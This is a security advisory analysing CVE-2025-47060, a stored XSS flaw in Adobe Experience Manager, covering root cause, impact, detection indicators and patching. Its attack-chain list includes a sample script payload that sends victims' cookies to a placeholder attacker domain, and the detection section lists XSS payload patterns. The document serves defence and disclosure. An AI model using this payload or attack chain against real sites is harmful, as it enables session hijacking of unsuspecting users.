CVE-2025-47060: 
Adobe Experience Manager vulnerability analysis and mitigation

CVE-2025-47060 is a stored Cross-Site Scripting (XSS) vulnerability in Adobe Experience Manager (AEM) that allows a low-privileged attacker to inject malicious scripts into vulnerable form fields. Affected versions include AEM 6.5.22 and earlier (on-premises) and AEM Cloud Service versions prior to 2025.5.0. The vulnerability was published on June 10, 2025, with a patch made available shortly after. It carries a CVSS v3.1 base score of 5.4 (Medium) (Adobe Advisory, Feedly).

The root cause is improper neutralization of user-supplied input during web page generation (CWE-79), specifically in form fields within Adobe Experience Manager. A low-privileged authenticated attacker can submit a crafted payload into a vulnerable form field; the malicious script is stored server-side and subsequently rendered without proper sanitization when any user visits the affected page. This stored XSS attack vector is network-based, requires low privileges and user interaction (victim browsing to the affected page), and has a changed scope — meaning the impact extends beyond the vulnerable component to the victim's browser context (Adobe Advisory, Feedly).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the browser of any user who visits the page containing the injected payload. This can result in session cookie theft, credential harvesting, unauthorized actions performed on behalf of the victim, and compromise of web application integrity. While availability is not directly impacted, the confidentiality and integrity of user sessions and data are at risk, and the changed scope means the impact extends to users beyond the attacker's own session (Adobe Advisory, Feedly).

There is currently no public proof-of-concept exploit code and no evidence of in-the-wild exploitation for CVE-2025-47060. The EPSS score is approximately 0.029% (0.000290), indicating a low probability of exploitation in the near term. No threat actor attribution has been reported, and the vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog (Feedly, Adobe Advisory).

1. Reconnaissance: Identify Adobe Experience Manager instances running version 6.5.22 or earlier (on-premises) or AEM Cloud Service prior to 2025.5.0 using web fingerprinting tools or Shodan.
2. Authentication: Obtain or use existing low-privileged credentials to authenticate to the AEM instance.
3. Identify vulnerable form fields: Navigate to AEM pages or components that accept and store user input (e.g., content authoring forms, comment fields, or custom form components).
4. Inject malicious payload: Submit a crafted XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into the vulnerable form field.
5. Payload persistence: The malicious script is stored server-side within the AEM content repository.
6. Victim triggers execution: When a victim (e.g., an administrator or another user) browses to the page containing the injected field, the malicious JavaScript executes in their browser, potentially stealing session cookies or performing actions on their behalf (Adobe Advisory, Feedly).

• Logs: AEM access logs showing POST requests to form submission endpoints from low-privileged accounts containing HTML/JavaScript tags or encoded script payloads (e.g., %3Cscript%3E, javascript:, onerror=).
• File System / Content Repository: Unexpected script tags or JavaScript code stored within AEM content nodes (JCR repository), particularly in form field values or page properties.
• Network: Outbound requests from victim browsers to unknown external domains shortly after visiting AEM pages, potentially carrying session tokens or cookies as query parameters.
• Logs: Browser-side console errors or CSP violation reports triggered by unexpected script execution on AEM-served pages.

Adobe has released patches addressing this vulnerability: update AEM on-premises deployments to version 6.5.23.0 or later, and AEM Cloud Service to version 2025.5.0 or later. As interim mitigations, organizations should implement strict input validation and output encoding on all user-submitted content, deploy a Content Security Policy (CSP) to restrict unauthorized script execution, and limit user privileges to reduce the attack surface. Regularly reviewing and sanitizing user-submitted content in the AEM content repository is also recommended (Adobe Advisory, Feedly).